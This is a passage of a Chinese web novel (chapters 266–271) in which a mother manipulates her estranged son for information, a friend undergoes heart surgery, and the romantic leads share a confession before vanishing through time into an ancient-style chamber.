“去玩吧。”她说,“今天妈妈特许,你想玩多久,就玩多久。” 巨大的惊喜砸晕了年幼的他。 那是他第一次,可以光明正大地玩游戏。 他忘了时间,忘了争吵,忘了父母冰冷的脸,整个世界里,只剩下屏幕上炫目的光影和厮杀的快感。 他玩得痛快淋漓,不知疲倦。 直到肚子饿得咕咕叫,他才从游戏里回过神。 天,已经黑透了。 窗外是浓稠的夜色,屋子里没有开灯,一片死寂。 “妈妈?”他揉着眼睛,大声喊,“我饿了!” 回答他的,只有他自己的回声。 他心里咯噔一下,一种从未有过的恐慌,像冰冷的水,瞬间淹没了他。 他跳下椅子,跑遍了整个大宅。 客厅,卧室,厨房…… 到处都是空荡荡的。 最后,他冲进母亲的衣帽间,那里面,属于她的那一半,已经空了。 空气里,只剩下一点点她惯用的香水味,淡得仿佛一吹就散。 她走了。 在那天下午,在他沉迷于电脑游戏的时候,悄无声息地,走了。 从此,二十年,杳无音信。 他再也没有见过她。 他也从此,再也没有碰过任何电脑游戏。 …… “呼——” 罗小胖猛地喘出一口浊气,将自己从回忆的深渊里拔了出来。 他站在原地,那张一向嬉皮笑脸的脸,此刻却冷的像是结了霜。 可那冷意只持续了短短几秒。 随即,他的脸色变得扭曲,那股冷硬被一种更复杂的情绪取代,是痛苦,是挣扎,更深处,是一种无法言说的、几乎将他压垮的愧疚。 他的拳头死死攥着,尽量控制自己的目光不去看秦绵绵。 接着,他逃一般地飞快回厨房去了。 第266章 我跟他们不一样 秦绵绵回到自己的房间,将自己扔进柔软的床里。 折腾了一天,身心俱疲。 正出神间,身后忽然贴上来一具温热的胸膛。 一双手臂,带着熟悉的、清冽的气息,从背后环住了她的腰,力道霸道,不容拒绝。 秦绵绵身体下意识一僵,但随即就放松下来。 她连眼都懒得睁,声音里带着一丝疲倦的沙哑: “再这么神出鬼没的,信不信哪天我把你当成敌人,直接放倒?” 下巴被一只温热的大手轻轻捏住,转了过来,一个带着热意的吻,精准地印在了她的唇上。 男人低沉的笑声,在她耳边震动。 “你不会。”他笃定地说,“我跟他们,不一样。” 秦绵不置可否,懒得跟他争辩这个,终于睁开眼,瞥了他一眼: “你怎么不好好在医院待着?不是要照看云承月吗?” “想你了。”男人将脸埋在她的颈窝里,深吸了一口气,仿佛只有这样才能安抚下内心的焦躁,“我看到婚礼直播,猜到萧玦那疯子不会善罢甘休,不放心你。” 他顿了顿,补充道,“紧赶慢赶回来,没想到还是晚了一步。不过……” 他抬起头,黑眸里闪过一丝兴味,“罗小胖的母亲,倒是个意料之外的惊喜。” 提到罗母,秦绵绵的眼神微不可察地动了一下。 她伸出食指,轻轻抵在男人的薄唇上,做了一个“噤声”的动作。 男人眼底的兴味瞬间被了然的深思取代。 他懂了。 隔墙有耳。 或者说,这个客栈里,有比萧玦更需要提防的存在。 他不再多言,只是用鼻尖蹭了蹭她的脸颊,原本环在她腰间的手,开始不怎么安分地,顺着衣服的下摆往里探。 “喂……”秦绵绵一把按住他作乱的手,又气又好笑,“正经点。” “我很正经。”男人捉住她的手,放在唇边亲了一下,嗓音喑哑,“正经地想你。” 他的另一只手还是不听话地乱走,温热的掌心贴上光洁的皮肤,惹得秦绵绵一阵轻颤。 暧昧的气息,在安静的房间里迅速升温。 就在秦绵绵清醒过来,要跳起来斥他胡作非为时,男人所有的动作,倏然停止。 上一秒还满是爱意的黑眸,瞬间冷得像淬了冰的寒潭。 他抱着秦绵绵,一个极轻巧的翻身,两人便交换了位置。 他将她护在身下,自己则面向房门的方向,整个人像一张拉满的弓,浑身上下的肌肉都进入了最顶级的戒备状态。 他的动作快如闪电,顺手还抄起床头的台灯,握在手中。 秦绵绵心头一凛,用眼神无声地询问。 男人没有看她,视线死死锁住房门外的黑暗,另一只空着的手,却在她的掌心里,迅速写下三个字。 【有杀气。】 秦绵绵的武功远不如他,并没感觉到什么,但她绝对相信他的判断。 她立刻收敛了呼吸,配合着他,摆出了防御的姿态。 时间,一秒一秒地流逝。 空气仿佛凝固,窗外的风声都像是被隔绝了。 一分钟。 两分钟。 预想中的破门而入,或是凌厉的攻击,都没有发生。 一切,静得诡异。 男人紧绷的身体,终于有了一丝松动,眉宇间掠过浓重的困惑。 他侧过头,用口型对秦绵绵道:“人呢?” 那股如有实质的杀意,刚才明明已经锁定在了这个房间,却又悬而不发。 他想了想,眼中闪过一丝探究,用手势比划着问她:罗母,在哪个房间? 秦绵绵立刻会意,伸手比划了两下。 罗母的房间和她的房间,只隔了一间房。 男人的眸色陡然深沉。 他忽然对秦绵绵打了个手势,示意她别动。 下一秒,他如一只灵猫,悄无声息地翻身下床,没有发出半点声响,身影一闪,便从打开的窗户翻了出去。 然而,就在他离开房间不久,秦绵绵忽然也感觉到了。 一股阴冷的、刀锋般的杀气,从不远处的方向她这里悄然袭来。 然而没多久,几乎是眨眼间,就又消弭于无形。 秦绵绵心中震动,连忙奔到窗边。 只见客栈后方的窄巷里,男人的身影稳稳落地,他抬头看了她一眼,继续用手势飞快地比划:【杀气追我来了。】 秦绵绵若有所思,望了望罗母房间的方向。 片刻后,裴应见又打手势到:【我先离开。】 秦绵下意识地点头,看着他几个起落,便彻底融入了夜色之中。 男人离开后,客栈又恢复了死寂。 隔壁得隔壁,罗母的房间,还是没有任何动静,仿佛刚才那股惊心动魄的杀意,只是秦绵绵的错觉。 也不知过了多久。 “叩叩叩——” 敲门声,不轻不重地响起。 秦绵绵整理好表情,走过去开门。 门外站着的,正是罗母。 她已经换下了那一身干练的西装,换了一件丝质睡袍,海藻般的长发随意披着,更显风情万种。 她手里拿着的,正是秦绵绵之前送上去的那个托盘,碗碟已经空了。 “秦掌柜,还没睡吧?”罗母红唇含笑,将托盘递过来,“餐具还给你。小胖……应该还在厨房吧?这孩子对我怨气大,我们母子俩还是暂时别见面了,免得他见了心烦。麻烦你帮我把这些拿下去。” 秦绵绵脸上也挂着得体的微笑,伸手接过。 “阿姨客气了,这是我该做的。” 罗母点点头,深深地看了她一眼,便转身回了自己房间,轻轻关上了门。 房门关上的瞬间,秦绵绵脸上的笑容,也跟着消失了。 她低头看着手里的托盘。 其实罗母完全可以把餐具放在门口,或者干脆明天再送出来。 或者干脆放在楼下任何一个地方,反正秦绵绵看见就会收拾的。 但她却在这个时候,用这样一个理由过来。 不用说,目的只有一个。 试探。 试探她房间里,是不是还有别人。 秦绵绵愈发确定,刚才那股追着男人而去的杀气,就是从罗母的房间发出来的。 她拿出手机,飞快地发了条信息出去。 第267章 她把我们甩了 【杀气来自罗母那里,她在试探我。短时间内不要回来。】 信息刚发出去,手机便震动了一下。 裴应见秒回。 但这家伙却没有讨论这件事,反而说: 【想你了,怎么办?】 秦绵绵看着屏幕上那几个字,又好气又好笑,仿佛能看到男人此刻正对着手机,一脸期待又略显委屈的模样。 明明是因为想她了才悄悄从医院回来,结果刚见面又要分开。 秦绵绵没有立刻回复这家伙。 谁知这人的短信立刻就接二连三地发了过来,速度堪比广告轰炸。 而且还都是些让人脸红心跳的词,秦绵绵不回复他,他就越发的露骨和缠人。 最终,秦绵绵感觉到底是拿他没有办法,手指在屏幕上敲击了几下: 【明天云承月手术,我会去医院陪你。】 …… 第二天一早,天刚亮,客栈里的三人就都起来了。 罗小胖在厨房和前堂之间来回忙碌,准备着早餐。 罗母则坐在临窗的位置,姿态优雅地端着一杯清茶。 秦绵绵从楼上下来,神色如常,她扫了一眼餐桌上这对貌合神离的母子,淡淡开口: “我去医院看看七妹和小宝他们,赵叔也需要人照顾。“她顿了顿,目光落在罗小胖身上,“你们要去吗?” 罗母端着茶杯的手,指节微微一动,眼角的余光,极快地瞥了儿子一眼,快得像一道错觉。 罗小胖正低头摆着碗筷,身体僵了一下,随即猛地抬头,声音比平时高了八度: “去!当然要去!赵叔是为了小宝才受伤的,我必须去看看!” 顿了顿,又说:“我妈也去吧!” 秦绵绵像是全然没有察觉,点了点头:“那吃完早饭就出发。” …… 海城市立医院。VIP病房的走廊里,远比普通病区要安静许多。 探望过精神好了不少的朱小宝和赵立生后,一行人又回到朱小宝的病房。 朱七妹正抱着小宝,低声给他讲着故事,劫后余生的安宁,让房间里充满了温馨的气息。 这份温馨,却衬得站在一旁的罗小胖和罗母,愈发像两个局外人。 秦绵绵看了一眼墙上的挂钟,站起身。 “你们先陪七妹姐聊会儿,“她语气自然地说,“我刚才看赵叔的药好像快没了,下去药房问问,顺便把今天的费用结一下。” 这是一个再正常不过的理由。 朱七妹连忙道:“掌柜的,医药费的事……” “没事,我先垫着。”秦绵绵冲她安抚地笑了笑,转身便走出了病房。 时间,一分一秒地过去。 罗小胖在病房里如坐针毡,几次想找话说,都不知道如何开口。 罗母倒是很有耐心,甚至还温声细语地问了问小宝的病情,只是那双美丽的眼睛,却时不时地瞟向门口的方向。 十分钟。 二十分钟。 半个小时过去了,秦绵绵还是没有回来。 罗母脸上的温和终于挂不住了,她站起身,对着坐立不安的儿子,声音里透出几分冷意。 “秦小姐怎么还没回来,不如我们去找找。” 罗小胖脸色难看,跟着她走了出去。 罗母等在上面,罗小胖下去缴费大厅找人。 几分钟后,他又跑了回来,脸上带着一丝慌张和茫然。 “……药房的人说掌柜的根本没去过……我……我给她打电话,也打不通……” 罗母的脸色,瞬间沉了下来。 她那双保养得宜的手,攥住了价值不菲的爱马仕手包,指节因为用力而泛白。 “她把我们甩了!” 这几个字,像是从牙缝里挤出来的,带着压抑不住的怒火。 走廊里人来人往,见气氛不对,有人好奇地看向他们。 罗母一把拉住罗小胖的胳膊,快步将他拽到走廊尽头的窗边。 她转过身,一双美目死死地盯着自己的儿子,怒气几乎要喷薄而出。 “你说,她到底去哪了!” 罗小胖面露慌张:“这,这我真的不知道啊!” “你怎么可能不知道,你不是说客栈里面她跟你的关系最好!”罗母恼怒非常,拽着他的手也倏忽收紧,直接把罗小胖的胳膊掐出了一个很深的红印。 “你说!你是不是已经跟她通气了,你是不是通风报信了?!你——” 罗小胖用力摇头,正要辩解,罗母的话突然顿住。 她忽然愣了愣。 接着,脸上的怒容像潮水般,倏然褪去。 取而代之的,是一种猝不及防的、令人心碎的脆弱和悲伤。 “对不起,小吉……”她的声音,一下子哽咽了,眼眶迅速泛红,“是妈妈不好……妈妈不该对你发脾气,不该逼你……” 这突如其来的转变,让罗小胖彻底懵了。 他看着眼前这个突然卸下所有坚硬外壳,像个普通母亲一样流露出无助和歉疚的女人,一时间,手足无措。 “其实你已经做的够多够好了,是妈妈不对……不该这样对你……” 罗小胖手足无措。 “其,其实……其实也没关系……”他结结巴巴道。 “是妈妈对不起你。”罗母却摆摆手,眼泪像断了线的珍珠,滚落下来。 她拉着罗小胖的手,声音里满是悔恨和压抑了多年的苦楚。 “妈妈知道,这么多年你一直在心里怨恨着妈妈。恨妈妈一声不响地离开你,恨妈妈不联系你……其实,你不知道,妈妈没有一天不在想你……可是妈妈的工作,有很多身不由己的地方……” 她抬起泪眼,望向眼前的青年。 他其实已经跟小时候完全不一样了。 而二十年过去,他小时候是什么样子,也早已在她心里模糊了。 可此时此刻,她的模样却好像一个慈母,一个被迫跟自己儿子失散了二十多年的,可怜的母亲而已。 看着她哭,罗小胖只觉得脑子里一片混乱,那个被他怨恨了二十年,毅然决绝离开的身影,忽然变得模糊起来。 心口那堵坚硬的墙,在母亲的眼泪中,寸寸龟裂。 “妈……”他喉咙干涩,二十年来,第一次这样发自内心地,喊出了这个称呼。 第268章 什么都不重要了 “好孩子。”罗母紧紧握住他的手,仿佛要将所有的亏欠都弥补回来,“妈妈知道你心里有怨,都怪我。可是现在……秦小姐她不一样,她很重要,妈妈不能让她一个人出事。你再想想,她是不是还有别的地方可以去?告诉妈妈,好不好?” 她的语气,温柔得像是在哄一个孩子。 罗小胖的防线,在这样温柔的攻势下,彻底崩溃了。 他挣扎着,犹豫着,那张胖脸上的神情变幻不定。 最终,他像是泄了气的皮球,低下了头,声音细若蚊蝇: “就是那个云承月……你之前追踪过的那个……他今天好像要做手术。掌柜的可能会去医院看望他。” 罗母的眼底,飞快地掠过一抹算计得逞的精光。 但这道精光却掠过得比飞鸟的影子还快,几乎在闪现的瞬间就消失无踪。 等罗小胖从茫然中抬起头时,看到的,依旧是那张写满了悲伤和懊悔的、属于一个母亲的脸。 而听到这句话的她竟没有追问,甚至没有再提秦绵绵一个字。 她只是看着罗小胖,像是要透过他如今这副胖乎乎的、成年人的躯壳,看到那个记忆里已经模糊的、八岁的孩子。 “小吉……”罗母的声音,轻得像一声叹息,她松开了紧抓着他胳膊的手,转而用一种近乎珍爱的力道,轻轻抚了抚他手臂上被自己掐出的红印。 “是妈妈不好。” 她眼里的泪,似乎又涌了上来,将那双本就风情万种的眸子,洗得水光潋滟,脆弱得惊人。 “妈妈刚才太着急了,不应该那也逼你。”她摇着头,言辞恳切,“我是怕秦小姐出事,会连累到你……妈妈已经亏欠了你二十年,不能再让你因为我的事,失去身边唯一的朋友了。” 这番话,说得合情合理,将刚才那副咄咄逼人的狰狞,都化作了护子心切的焦灼。 “但你说她去医院了,那就不要紧了,我们呢,也就不着急了。” 罗小胖感觉脑子里一团乱麻。 他下意识地就想起了更重要的事。 “可是之前不是说,那个云承月,还有那个姓裴的,对你的工作很重要吗?他们关系到国家机密项目……” 而此刻秦绵绵既然去了云承月的医院,不正是母亲去追踪云承月和裴应见的好时机吗? 他记得。 在京城,那个像牢笼一样的家里,她偶尔会对着一堆他看不懂的数据出神,父亲提过一嘴,说她在负责一个能改变国家未来格局的项目。 那样重要的事,怎么能说放下就放下? 听到“国家机密”四个字,罗母的睫毛,几不可察地颤动了一下。 但她没有回答他的问题。 她只是忽然上前一步,张开双臂,将自己完全不知所措的儿子,紧紧地拥入怀中。 这个怀抱,罗吉等了二十年。 温暖的,柔软的,带着一股他只在遥远记忆里闻到过的、淡淡的馨香。 那一瞬间,罗小胖浑身的肌肉都僵住了,像一尊石雕。 他忘了呼吸,忘了思考,整个世界,仿佛都只剩下这个突如其来的、却又无比渴望的拥抱。 “不重要了。” 罗母温柔的声音响在他的耳边。 “什么都不重要了。” 她稍稍松开他,双手捧住他那张肉乎乎的脸,强迫他看着自己。 “小吉,妈妈想明白了,没有什么项目,没有什么任务,比我的儿子更重要。工作没了可以再找,任务失败了国家也自有安排,可妈妈……就只有你这么一个儿子。” “我找了你这么久,好不容易才把你找回来,我再也不想因为任何事情,再一次失去你了。” “……我再也不想了。” 最后那句话,她几乎是哽咽着说完的。 罗小胖的瞳孔,剧烈地收缩了一下。 “轰——” 他脑子里那根紧绷了二十年的弦,应声而断。 怨恨,不甘,被抛弃的痛苦,长久以来的故作坚强……所有的一切,都在这个拥抱,这几句话里,被冲刷得干干净净,土崩瓦解。 他张了张嘴,喉咙里却像堵了一团滚烫的棉花,一个音都发不出来。 看着儿子这副呆傻的模样,罗母终于破涕为笑,她抬手,用指腹温柔地擦去自己眼角的泪,也顺便抹去了那最后一丝刻意表演的痕迹。 “好了,你看你,都多大的人了,还这副表情。”她嗔怪地拍了拍他的脸颊,语气恢复了几分平日里的优雅从容,“别在这儿站着了,让人看笑话。走,回去陪陪七妹他们,也让你赵叔安心。” 她拉起他的手,那动作自然得仿佛他们从未分开过。 罗小胖像个提线木偶,被她牵着,浑浑噩噩地走回了病房。 朱七妹和小宝还在,她见两人回来,有些担心地问了一句:“找到掌柜的了吗?” 罗母脸上挂着温和的笑意,替儿子回答了:“还没呢,估计是医院人多,手机没信号。我们再等等。” 她坐下来,又开始温声细语地逗弄小宝。 一切,都好像恢复了正常。 只有罗小胖自己知道,他的世界,已经天翻地覆。 他在椅子上坐立难安,屁股底下像长了钉子,胸口里那股翻江倒海的情绪,马上就要冲破喉咙。 几分钟后,他猛地站起身。 “我……我去趟洗手间。” 他几乎是逃也似的,冲出了病房。 …… 医院公共卫生间的隔间里。 罗小胖反锁上门,整个人无力地靠着冰冷的门板,缓缓滑坐在地。 他低着头,看着自己脚上穿着的这双崭新的、价格不菲的运动鞋。 那是回京城后,她亲手给他挑的。 他说他不喜欢,太贵了,可她还是不由分说地买了下来。 一滴滚烫的液体,毫无征兆地砸在鞋面上,迅速晕开一小块深色的水渍。 紧接着,第二滴,第三滴…… 他抬起手,用力地捂住自己的脸。 压抑了二十年的哭声,终于在这一刻,冲破了喉咙的禁锢。 不是嚎啕大哭,而是一种绝望又委屈的、野兽般的呜咽…… 第269章 手术中 他哭那个在游戏世界里麻痹自己,一回头却发现家已经空了的八岁男孩。 也哭这个被一个拥抱和几句话就轻易击溃,分不清什么是真心、什么是假意的,二十八岁的自己。 那堵他用了二十年筑起的心墙,塌了。 墙里,是他血肉模糊的、从未愈合过的伤口。 而墙外,站着他的母亲。 …… 卫生间的水龙头开着,哗哗的流水声掩盖了一切。 罗小胖用冷水泼了把脸,扯了张纸巾胡乱抹干脸,走了出去。 当他回到病房时,那副失魂落魄的模样已经收拾干净,取而代之的,是一种前所未有的平静。 罗母见他回来,立刻放下逗弄小宝的手,迎了上来。 “小吉,你没事吧?是不是哪里不舒服?” 罗小胖摇了摇头。 他没有立刻回答,而是走到罗母身边,用只有两个人能听到的声音,压低了嗓子说:“妈,我带你去找他们。” 罗母的身形几不可察地一僵,随即,她眼里的担忧更浓了,甚至带上了一丝责备。 “胡说什么!”她蹙起秀眉,拉着他往旁边走了两步,远离了朱七妹他们的方向,“那个地方守卫森严,我上次去过,连只苍蝇都飞不进去。你别乱来,妈妈不希望你冒险。” 罗小胖却说:“我有办法。” 罗母还想再说什么,想再说一遍什么任务都没有他重要的话,可罗小胖却打断了她。 “妈,你不用说了。”他深吸一口气,仿佛下定了此生最大的决心,“你的工作很重要,我知道。我一定要帮你完成。” 看着儿子脸上那种豁出去的、带着点悲壮的执拗,罗母愣住了。 随即,她眼里的惊诧,慢慢化成了无法抑制的欣慰和感动,眼眶再一次红了。 她什么都没说,只是上前一步,将儿子紧紧拥在怀里。 “好孩子……”她哽咽着,将脸埋在儿子的肩窝,没有人看到,她嘴角勾起的那抹算计得逞的、冰冷的弧度。 …… 与此同时,海城郊外的一家顶级私密疗养院。 手术室外的走廊,干净得能照出人影,空气里弥漫着消毒水的味道,安静得只剩下仪器运作的低微声响。 裴应见推着移动病床,云承月躺在上面,已经换好了蓝色的手术服。 “我说,”云承月忽然开口,声音带着几分懒洋洋的调侃,“你这手劲儿,是想把这床的扶手给捏碎吗?不知道的,还以为要被推进去开膛破肚的是你。” 裴应见瞥了他一眼: “不识好歹,我是担心你。” “你瞧不见,我说给你听……这医院的走廊看起来干干净净的,实则阴森可怖……” “窗子吱呀作响,无风自动,也不知道怎么回事……” “待会要推你进去的那个小护士,看着漂漂亮亮的,其实长的很奇怪,很诡异……” 跟在旁边的秦绵绵听得忍俊不禁,嘴角弯了起来。 却没想到,原来高冷矜贵的大侯爷,跟自己的朋友在一起相处,竟然是这个样子的。 而显然,云承月根本不吃这一套。 因为他知道,为了他的手术,秦绵绵和裴应见都想尽了办法,给他找的医院和医生护士,也都是顶尖的。 见云承月完全不为所动,裴应见泄了气。 “好了,不逗你了。” “手术的流程你可都记住了?我再跟你讲一遍吧。” 不等云承月拒绝,他就径直道: “待会儿,进去了,会有一位医生,也就是咱们那边的大夫,给你打麻醉药,类似于咱们那边的麻沸散或者迷药,很快你就没有知觉了。” “然后他们会剖开你的皮肉,穿过骨骼,取出你的心脏,修补其中的缺陷。不用担心,修好了还会给你放回去,然后再把皮肉血脉等都给你缝合起来……” 云承月听笑了,慢悠悠道: “说了这么多,你果然还是比我紧张。” 裴应见俊脸一黑,恼了。 “行,那你自己进去吧!” 他手上用力,干脆利落地将病床往手术室里一推。 穿着无菌服的医生和护士立刻上前,平稳地接住了病床。 手术室厚重的门在他们面前缓缓关闭。 门顶上那盏“手术中”的红灯亮起。 走廊里,重新陷入了死寂。 秦绵绵看着身旁的男人,男人刚才还强撑着的轻松荡然无存,一张俊脸绷得像块石头,下颌线收得死紧。 就在这时,一位穿着白大褂、戴着金丝眼镜的中年医生走了过来,脸上挂着温和专业的笑容。 “裴先生,秦小姐,请放心。” “刚才术前最终检查,我们发现云先生的眼疾,也是先天性的。正好借这次手术的机会,一起处理了。这样也能免去他日后二次手术的痛苦。” 秦绵绵闻言,笑道:“那太好了,多谢您,医生。” “应该的。”医生笑了笑,扶了下眼镜,“钱老先生和李先生都亲自打过招呼了,我们团队的负责人跟他们是老交情。裴先生和秦小姐的朋友,就是我们最重要的病人,我们会尽一切努力。” 裴应见紧绷的脸色,总算缓和了些许,他沉声道:“有劳了。” 医生又交代了几句,便转身离开了。 走廊再度恢复安静。 手术的时间,远比想象中要漫长。 太阳从东边的窗户,慢慢挪到了西边,光影在光洁的地板上拉长,又缩短。 裴应见最开始还能在椅子上坐一会儿,但没多久就又站了起来,在走廊里踱步。 他像一头被困在笼子里的豹子,焦躁不安,时不时地就抬头看一眼那盏刺目的红灯,仿佛想用目光把它看穿。 秦绵绵就那么安静地坐在长椅上,看着他。 她知道,他此刻的焦躁,源于对朋友最纯粹的关心。 那个在大雍朝堂上运筹帷幄,杀伐决断的镇国侯,原来也会有这样六神无主的时候。 时间流逝,当墙上的挂钟时针指向下午四点时,裴应见终于停下了脚步。 他走到秦绵绵面前,眉心拧成了一个疙瘩,声音都有些哑了:“怎么还没出来?” 第270章 再亲一下 秦绵绵抬起头,仰视着他。 她没有说“别担心”之类的空话,只是伸出手,轻轻握住了他那只因紧张而攥紧的拳头。 她的手很软,带着温热的暖意,像一股细流,缓缓淌进他冰冷僵硬的掌心。 裴应见的身体倏地一僵。 他低头,看着那只覆盖在自己手背上的纤纤素手,喉结滚动了一下。 下一秒,他反手将她的手整个包裹在掌心里,十指紧扣,然后顺势在她身边坐下,整个人都靠了过来。 他把头抵在她的肩上。 “放心,钱老先生说了,这个团队是全国顶尖的,医术很高明,云承月的手术会很顺利的。” 她的声音很轻,很柔,像羽毛拂过心尖。 裴应见在她肩窝里蹭了蹭,不满足于只是牵手和靠着,他张开手臂,将她整个人都揽进了怀里,下巴搁在她的发顶。 “抱一下。”他理直气壮地要求。 秦绵绵被他圈在怀里,鼻尖萦绕着他身上清冽好闻的气息,混合着医院淡淡的消毒水味,她顿了顿,靠过去他胸口,听到他有些紊乱的心跳。 怀里抱着温香软玉,裴应见心里的焦躁总算被抚平了大半。 可这人向来是会得寸进尺的。 他稍稍松开她,低头,那双深邃的眼里,此刻忽然多了那么一丝可怜巴巴。 “再亲一下,好不好?” 秦绵绵看着他。 男人眼里的焦灼和依赖几乎要满溢出来,和平日里那个运筹帷幄的镇国侯判若两人。 她心中一软,没说话,只是微微仰起头,凑过去,在他紧抿的薄唇上,轻轻印了一下。 柔软,温热。 一触即分。 这个吻,像蜻蜓点水,却足以安抚一头焦躁的困兽。 裴应见怔了怔,似乎没想到她这么好说话,随即,他眼底的阴霾散去,唇角几不可察地弯了弯,重新将她搂紧,安分了下来。 …… 走廊里的光线,随着时间的推移,由明转暗。 夕阳的余晖,将窗外的天空染成了瑰丽的橙红色,又渐渐被深沉的墨蓝取代。 当时针指向晚上七点的时候,手术室顶上那盏亮了近十个小时的红灯,终于,“啪”地一声,熄灭了。 裴应见几乎是瞬间就从椅子上弹了起来,大步冲到门前。 厚重的门缓缓开启,几位医生和护士推着病床走了出来,为首的主刀医生摘下口罩,脸上带着疲惫,却难掩欣慰的笑意。 “手术非常成功。”他说,“病人的心脏问题和眼疾都处理得很好,接下来只要平安度过观察期,就没问题了。” 裴应见紧绷了一天的神经,在听到这句话时,彻底松了下来。 他看着病床上双目紧闭,面色苍白,但呼吸平稳的云承月,沉沉地吐出一口气。 沙哑着声音道:“多谢。” 夜深了。 疗养院的VIP病房里,安静得只剩下仪器规律的滴滴声。 月光如水,透过巨大的落地窗洒进来,在地板上铺了一层银霜。 秦绵绵看着守在床边,一动不动盯着云承月的男人,轻声开口: “你去隔壁休息室睡一会儿吧,你今天精神绷得太紧了。” 裴应见摇了摇头,目光没有离开病床分毫。 “我睡不着。”他顿了顿,又说,“我想跟你说说话。” 秦绵绵走到他身边,顺着他的目光看向云承月,他睡得很沉,像是做了一场漫长而疲惫的梦。 “想说什么?” 裴应见却沉默了。 他好像只是想找个由头,却又不知道该从何说起。 月光勾勒出他挺直的鼻梁和紧抿的唇线,那张俊美的脸上,情绪复杂难辨。 秦绵绵又问了一遍:“到底怎么了?” 男人忽然转过头来。 他的动作有些急,在静谧的病房里显得尤为突兀。 下一刻,秦绵绵只觉得手腕一紧,整个人被一股不容抗拒的力道拉了过去,跌进一个滚烫的怀抱。 没等她反应过来,他的吻就落了下来。 不同于走廊里那个安抚性质的浅尝辄止,这个吻,带着压抑了一整天的焦躁、后怕,以及失而复得的狂喜,激烈而深沉。 他撬开她的唇齿,攻城略地,仿佛要将她整个人都吞入腹中。 秦绵绵的脑子“嗡”地一下,一片空白,只能被迫承受着他汹涌而来的情绪。 许久,他才微微松开她,额头抵着她的发顶,灼热的呼吸喷洒在她的脸上,带着一丝不稳的喘息。 “秦绵绵。”他哑着嗓子,一字一顿地喊她的名字,“我很高兴,你能在这里。” “我很感谢,能在这里……在这个时代,遇见你。” “我感谢你为我做的一切。” 他捧着她的脸,那双深不见底的黑眸,在清冷的月光下,亮得惊人,里面翻涌着她从未见过的、浓烈到化不开的情感。 “往后这辈子,都跟我在一起,好不好?” 病房里安静极了,只有仪器还在不知疲倦地滴答作响。 秦绵绵彻底懵了。 她能感觉到自己狂乱的心跳,一下一下,撞击着胸口。 她想过很多种可能,却唯独没想过,他会在这个时候,用这样一种方式,说出这样的话。 看着她呆住的模样,裴应见的心沉了沉,他收紧了手臂,将她更紧地禁锢在怀里,用一种不容置喙的语气,再次开口: “我要听你的答案。” 秦绵绵终于回过神。 她没有挣扎,只是轻轻抬手,抵在了他坚实的胸膛上,隔开了一点微小的距离。 月光透过窗户,将两人的影子拉得很长,暧昧的因子在空气里浮动。 可她心里,却清醒得可怕。 “裴应见,”她抬起头,迎上他执拗的目光,声音很轻,却很清晰,“你随时可以来这里找我,可我呢?” 她顿了顿,语气里染上一丝自己都未曾察觉的涩然。 “我找不到你。我们之间,隔着我跨越不了的时空……我甚至不知道你的世界是什么样子,不知道你什么时候会来,什么时候会走。这种感觉……没有安全感。” 这是她心里最真实,也最无力的障碍。 走廊里那个蜻蜓点水的吻,方才那个激烈深沉的吻,都让她心动。 可心动之后,是更深的惶惑。 第271章 不是梦 她话音落下,裴应见那双紧锁着她的眸子,情绪变幻。 秦绵绵以为他会像之前那样,或是强势地让她不要多想,或是用甜言蜜语来安抚。 然而,他却忽然笑了。 不是冷笑,也不是无奈的笑,而是一种带着几分了然和戏谑的、胸有成竹的笑。 这笑声在安静的病房里显得突兀。 “谁告诉你,你跨越不了?” 他松开圈着她的手臂,转而捏住她的下巴,指腹在她光滑的皮肤上轻轻摩挲,眼神玩味。 “谁又告诉你,你没去过我的世界?” 秦绵绵的瞳孔,猛地一缩。 “……你什么意思?” “意思就是,”裴应见凑近她,压低了声音,温热的气息拂过她的耳廓,带起一阵战栗,“你已经去过了。” 这几个字,像一道惊雷,在秦绵绵的脑海里轰然炸响。 她第一反应就是不信。 “不可能,我……” 她的话还没说完,裴应见已经直起身,放开了她。 他好整以暇地从口袋里摸出手机,修长的手指在屏幕上飞快地点了几下,发了条信息出去。 【来一趟,看好他。】 做完这一切,他收起手机,好整以暇地看着秦绵绵,那眼神,就像在看一只掉进陷阱里,却还茫然不知的小狐狸。 秦绵绵被他看得心里发毛,无数个念头在脑子里乱窜,却抓不住任何头绪。 没过几分钟,病房的门被轻轻推开。 盛意出现在门口,他先是看了一眼病床上昏睡的云承月,然后目光落在裴应见身上,颔首示意。 裴应见点点头,重新转向秦绵绵,朝她伸出手。 “走,我带你再去一次。” 在秦绵绵和盛意都还没反应过来的时候,他一把抓住秦绵绵的手腕,将她拉到自己身边。 盛意正想问点什么。 下一秒,他眼前一花。 之前面前似乎是突然起了一层薄雾,紧接着,原本站在那里的两个人,就那么凭空消失了。 没有光,没有声音,就像是被人用橡皮擦,从这个空间里硬生生抹去了一样。 盛意:“……” 他站在原地,面无表情地看着那片空荡荡的地板,沉默了足足有半分钟。 病房里,只剩下仪器规律的滴答声。 就在这时,那滴答声里,忽然多了一道微弱的、沙哑的呻吟。 盛意猛地转头。 只见病床上本该还在昏睡的云承月,不知何时已经睁开了眼睛。 他眼上还蒙着一层厚厚的纱布,但显然,麻药的劲儿已经开始退了。 刚刚做完心脏和眼部手术的云承月,意识还有些模糊,他费力地转了转头,似乎在寻找什么。 盛意立刻出声,把情况说了一下。 云承月有点发愣。 两个人相对无言。 一个刚刚从鬼门关回来,脑子还是一团浆糊。 一个刚刚目睹了自家主子凭空消失,世界观正在重塑。 空气里弥漫着一种难以言喻的、尴尬的寂静。 最终,还是云承月先动了动干裂的嘴唇,声音气若游丝:“……裴应见带着她,回去了?” 盛意:“是啊……侯爷……带着秦小姐,回去了。” …… 被拽入手臂的瞬间,秦绵绵只觉得眼前的一切景物都像被投入水中的墨,迅速地扭曲、拉长,然后化作一片混沌的漆黑。 失重感铺天盖地而来,耳边是呼啸的风声,又像是什么都没有。 不知过了多久,仿佛只是一眨眼,又仿佛一个世纪那么漫长。 脚下忽然一软,天旋地转的感觉骤然消失,秦绵绵踉跄了一下,整个人不受控制地朝着一个柔软的地方倒去。 鼻尖,瞬间被一股熟悉的、冷冽的龙涎香混合着淡淡药草的气息所包裹。 她跌进了一个人的怀里,而身下,是柔软的云缎锦被。 秦绵绵撑起身子,环顾四周。 紫檀木雕花的拔步床,帐幔是月白色的鲛绡,随风微动。 不远处的博古架上,错落有致地摆着几件古雅的瓷器,角落的兽首铜炉里,正燃着安神香,青烟袅袅。 窗外,一轮明月高悬,清辉透过雕花木窗,在地上洒下斑驳的光影。 这里…… 秦绵绵的瞳孔,倏地一缩。 这个房间,这张床……她认得。 